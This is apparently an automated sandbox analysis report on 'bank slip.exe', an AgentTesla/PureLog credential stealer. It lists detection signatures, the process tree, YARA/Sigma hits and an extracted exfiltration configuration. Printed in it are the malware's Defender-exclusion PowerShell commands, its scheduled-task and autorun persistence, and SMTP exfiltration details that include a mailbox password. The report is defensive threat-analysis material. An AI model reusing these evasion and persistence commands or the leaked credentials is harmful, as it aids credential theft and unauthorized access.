Edit tour

Windows Analysis Report
bank slip.exe

Overview

General Information

Sample name:	bank slip.exe
Analysis ID:	1436607
MD5:	64ff7f01e8a040dd0708d0d3c72a09f7
SHA1:	71d66159d1414876a6ae19696a5a3d99fc5df6a6
SHA256:	0eb53728acb5e4b7c857ed35dacc4ba1264249cada90f5e69d3fde4e9b243190
Tags:	exe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Contains functionality to log keystrokes (.Net Source)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

bank slip.exe (PID: 6756 cmdline: "C:\Users\user\Desktop\bank slip.exe" MD5: 64FF7F01E8A040DD0708D0D3C72A09F7)

powershell.exe (PID: 5016 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5856 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7484 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 3856 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 7292 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

mKSjGvfmIulVB.exe (PID: 7552 cmdline: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe MD5: 64FF7F01E8A040DD0708D0D3C72A09F7)

schtasks.exe (PID: 7640 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp4AB6.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 7684 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

GUIVTme.exe (PID: 7860 cmdline: "C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

conhost.exe (PID: 7872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

GUIVTme.exe (PID: 8096 cmdline: "C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.vw-rmplcars.co.in", "Username": "account.sw@vw-rmplcars.co.in", "Password": "Gagan#456"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.3246056841.0000000003092000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3246056841.000000000309A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2091471993.000000000304A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2074900045.0000000006750000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.2091471993.0000000003042000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2091471993.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2091471993.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2088618533.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2088618533.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3246056841.000000000302C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.3246056841.000000000302C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2071630541.0000000002916000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2121255868.0000000003356000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2121255868.0000000003001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000B.00000002.2126436227.00000000042DD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2126436227.00000000042DD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2071630541.00000000025C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: bank slip.exe PID: 6756	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bank slip.exe PID: 6756	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: bank slip.exe PID: 6756	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 7292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7292	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: mKSjGvfmIulVB.exe PID: 7552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: mKSjGvfmIulVB.exe PID: 7552	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: mKSjGvfmIulVB.exe PID: 7552	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 7684	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7684	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.bank slip.exe.260f66c.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.mKSjGvfmIulVB.exe.304f6b4.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.bank slip.exe.6750000.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.bank slip.exe.6750000.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.mKSjGvfmIulVB.exe.33cd7dc.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.mKSjGvfmIulVB.exe.33cc7c4.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.bank slip.exe.298d6c8.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.bank slip.exe.298c6b0.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.bank slip.exe.2952c78.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33b7e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33bf0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33c7a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d0c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33d76:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33de8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33e7e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33f0e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.bank slip.exe.389c998.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.bank slip.exe.389c998.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.bank slip.exe.389c998.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31d7e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31df0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31e7a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f0c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31f76:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31fe8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3207e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3210e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.mKSjGvfmIulVB.exe.4318670.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.mKSjGvfmIulVB.exe.4318670.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.mKSjGvfmIulVB.exe.4318670.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31d7e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31df0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31e7a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f0c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31f76:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31fe8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3207e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3210e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.mKSjGvfmIulVB.exe.42dd450.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.mKSjGvfmIulVB.exe.42dd450.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.mKSjGvfmIulVB.exe.42dd450.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31d7e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31df0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31e7a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f0c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31f76:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31fe8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3207e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3210e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.mKSjGvfmIulVB.exe.3392d98.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.bank slip.exe.38d7bb8.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.bank slip.exe.38d7bb8.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.bank slip.exe.38d7bb8.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31d7e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31df0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31e7a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31f0c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31f76:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31fe8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3207e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3210e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.mKSjGvfmIulVB.exe.304f6b4.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.mKSjGvfmIulVB.exe.4318670.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.mKSjGvfmIulVB.exe.4318670.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.mKSjGvfmIulVB.exe.4318670.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33b7e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6eb9e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33bf0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ec10:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33c7a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ec9a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d0c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6ed2c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33d76:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ed96:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33de8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ee08:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33e7e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ee9e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33f0e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6ef2e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.mKSjGvfmIulVB.exe.42dd450.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.mKSjGvfmIulVB.exe.42dd450.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.mKSjGvfmIulVB.exe.42dd450.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33b7e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6ed9e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa9dbe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33bf0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ee10:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa9e30:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33c7a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ee9a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa9eba:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d0c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6ef2c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa9f4c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33d76:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ef96:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa9fb6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33de8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f008:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xaa028:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33e7e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f09e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xaa0be:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.bank slip.exe.260f66c.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.bank slip.exe.38d7bb8.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.bank slip.exe.38d7bb8.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.bank slip.exe.38d7bb8.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.bank slip.exe.38d7bb8.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33b7e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6eb9e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33bf0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ec10:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33c7a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ec9a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d0c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6ed2c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33d76:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ed96:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33de8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ee08:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33e7e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ee9e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33f0e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6ef2e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.bank slip.exe.389c998.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.bank slip.exe.389c998.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.bank slip.exe.389c998.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.bank slip.exe.389c998.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33b7e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6ed9e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa9dbe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33bf0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ee10:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa9e30:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33c7a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ee9a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa9eba:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33d0c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6ef2c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa9f4c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33d76:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ef96:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa9fb6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33de8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6f008:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xaa028:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33e7e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6f09e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xaa0be:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 36 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\bank slip.exe", ParentImage: C:\Users\user\Desktop\bank slip.exe, ParentProcessId: 6756, ParentProcessName: bank slip.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe", ProcessId: 5016, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 7292, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GUIVTme

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp4AB6.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp4AB6.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe, ParentImage: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe, ParentProcessId: 7552, ParentProcessName: mKSjGvfmIulVB.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp4AB6.tmp", ProcessId: 7640, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 111.118.215.27, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 7292, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49710

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

